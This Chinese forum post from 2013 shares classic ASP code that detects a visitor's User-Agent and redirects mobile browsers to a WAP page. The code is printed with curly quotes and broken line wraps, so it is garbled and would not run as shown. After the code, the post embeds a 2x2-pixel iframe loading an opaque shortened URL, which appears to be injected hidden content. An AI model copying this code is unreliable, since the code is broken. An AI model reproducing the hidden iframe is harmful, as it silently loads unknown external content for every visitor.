自动识别手机或电脑的访问

2013/1/5 17:23:00  人气 145    怀旧国机论坛  
把下面的代码复制,要utf-8编码的,保
存为index.asp就可以了。注
意,index.asp的优先级要高于
default.asp。
也可以把default.asp改名为
index.asp
<%
rpath=“http://“&Request.
ServerVariables
(“HTTP_HOST“)&“/“
dim agent,str,siteid,tourl
agent=request.ServerVariables
(“HTTP_USER_AGENT“)
if instr(agent,“Mozilla“)=0 then
tourl= “wap.asp“ ‘WAP page
toWML()
else
str=agent
str=replace(str,“Opera“,““)
str=replace(str,“SmartPhone“,““)
str=replace(str,“CE“,““)
str=replace(str,“UC“,““)
str=replace(str,“Symbian“,““)
str=replace(str,“NetFront“,““)
if Len(agent)=Len(str) then
response.redirect “default.asp“
‘web
else
tourl= “wap.asp“ ‘WAP page
toWML()
end if
end if
sub toWML()
response.redirect rpath&tourl
response.end
end sub%>

. [iframe=2*2]http://url.cn/FLfTXA[/iframe]

发表回复

   


  通知楼主
暂无回复!